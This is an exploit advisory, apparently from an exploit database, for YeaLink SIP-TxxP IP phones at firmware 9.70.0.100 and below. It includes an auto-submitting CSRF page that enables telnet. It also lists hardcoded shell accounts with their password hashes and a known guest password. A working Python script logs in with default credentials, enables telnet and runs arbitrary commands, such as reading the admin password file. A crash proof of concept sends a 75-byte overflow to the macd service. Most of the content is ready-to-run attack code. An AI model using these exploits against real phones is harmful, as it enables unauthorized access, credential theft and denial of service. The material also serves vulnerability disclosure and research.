1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 |
#+--------------------------------------------------------------------------------------------------------------------------------+ # Exploit Title : YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 Multiple Vulnerabilities # Date: 12-21-2012 # Author: xistence (xistence<[AT]>0x90.nl) # Software link : http://yealink.com/SupportDownloadfiles_detail.aspx?ProductsID=64&CateID=187&flag=142 # Vendor site : http://yealink.com # Version : 9.70.0.100 and lower # Tested on : YeaLink IP Phone SIP-T20P (hardware VoIP phone) # # Vulnerability : Multiple Vulnerabilities as described below # #+--------------------------------------------------------------------------------------------------------------------------------+ [0x01] - Hidden page to enable telnet + CSRF The hidden page http://<IP>/cgi-bin/ConfigManApp.com?Id=10 contains an option to enable Telnet on the phone. Only the "admin" user can access this page. However the unprivileged user "user" can post directly to ConfigManApp.com and enable Telnet. This default user "user" has the password "user" and is unlikely to be changed by a user. Also CSRF to enable this is possible: <html> <head> <title>Enable Telnet</title> </head> <body> <form name="csrf" action="http://<IP>/cgi-bin/ConfigManApp.com" method="post"> <input type="hidden" name="PAGEID" value="10"/> <input type="hidden" name="CONFIG_DATA" value="1%261%261%261%260%261%261%260%261%261%260%26%260%260%260%260%260%261%261%260%260"/> </form> <script> document.csrf.submit(); </script> </body> </html> [0x02] - Default telnet shell users + passwords The shell users are hardcoded in the firmware images and are always the same and can't be changed through the webinterface. So after enabling telnet through the hidden page shell access could go unnoticed. /etc/passwd: root:x:0:0:Root,,,:/:/bin/sh admin:x:500:500:Admin,,,:/:/bin/sh guest:x:501:501:Guest,,,:/:/bin/sh /etc/shadow: root:$1$IJZx7biF$BgyHlA/AgR27VSEBALpqn1:11876:0:99999:7::: admin:$1$Bwt9zCNI$7rGLYt.wk.axE.6FUNFZe.:11876:0:99999:7::: guest:$1$A3lIJ0aO$Is8Ym.J/mpNejleongGft.:11876:0:99999:7::: <- password is "guest" /etc/group: root:x:0:admin,root guest:x:1:guest The file "/tmp/.htpasswd" is world readable and contains the "admin" password for the web interface. [0x03] - Exploit The following exploit logs in with the unprivileged user "user" and password "user" in the web interface. Here it enables telnet, logs in with the default user "guest" and password "guest" and executes the shell command specified. An example is to do a "cat /tmp/.htpasswd" to retrieve the admin password for the web interface. #!/usr/bin/python import urllib, urllib2, getpass, sys, telnetlib print "" print "[*] YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 hidden page telnet enabler + default guest shell account command execution - xistence (xistence<[at]>0x90.nl) - 2012-12-21" print "" if (len(sys.argv) != 3): print "[*] Usage: " + sys.argv[0] + " <IP of Phone> <command to execute>" print "[*] i.e.:" + sys.argv[0] + " 127.0.0.1 \"cat /tmp/.htpasswd\"" print "" exit(0) phoneIP = sys.argv[1] shellCmd = sys.argv[2] phoneUrl = 'http://%s/cgi-bin/ConfigManApp.com' % phoneIP webUser = 'user' webPass = 'user' telnetUser = 'guest' telnetPass = 'guest' passman = urllib2.HTTPPasswordMgrWithDefaultRealm() passman.add_password(None, phoneUrl, webUser, webPass) authhandler = urllib2.HTTPBasicAuthHandler(passman) opener = urllib2.build_opener(authhandler) urllib2.install_opener(opener) post_params = urllib.urlencode([("PAGEID", "10"), ("CONFIG_DATA", "1%261%261%261%260%261%261%260%261%261%260%26%260%260%260%260%260%261%261%260%260")]) print "[*] Enable telnet on [ %s ] by posting directly to the hidden page with PAGEID=10 parameter as unprivileged user [ user ]" % phoneUrl pagehandle = urllib2.urlopen(phoneUrl, post_params) print "[*] Making telnet connection to [ %s ] with default user [ %s ] and password [ %s ]" % ( phoneIP, telnetUser, telnetPass ) tn = telnetlib.Telnet(phoneIP) tn.read_until("IPPHONE login: ") tn.write(telnetUser + "\n") if telnetPass: tn.read_until("Password: ") tn.write(telnetPass + "\n") tn.read_until("$") print "[*] Executing shell command [ %s ]" % shellCmd tn.write( shellCmd + '\n' ) tn.read_until( shellCmd ) print tn.read_until("$").strip("$ ") tn.write("exit\n") tn.read_all() [0x04] - Remote "/yealink/bin/macd" buffer overflow crash PoC The following PoC exploit will crash the "/yealink/bin/macd" process on port "12345" #!/usr/bin/python import socket,sys,time,struct if len(sys.argv) < 2: print "[*] YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 /yealink/bin/macd remote buffer overflow crash PoC - xistence (xistence<[at]>0x90.nl) - 2012-12-21" print "[-] Usage: %s <target addr> " % sys.argv[0] sys.exit(0) target = sys.argv[1] if len(sys.argv) > 2: platform = sys.argv[2] buffer = "\x41"*75 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((target,12345)) except: print "[-] Connection to "+target+" failed!" sys.exit(0) print "[*] YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 /yealink/bin/macd remote buffer overflow crash PoC - xistence (xistence<[at]>0x90.nl) - 2012-12-21" print "[*] Sending " + <code>len(buffer)</code> + " byte crash" s.send(buffer + "\r\n") s.recv(1024) |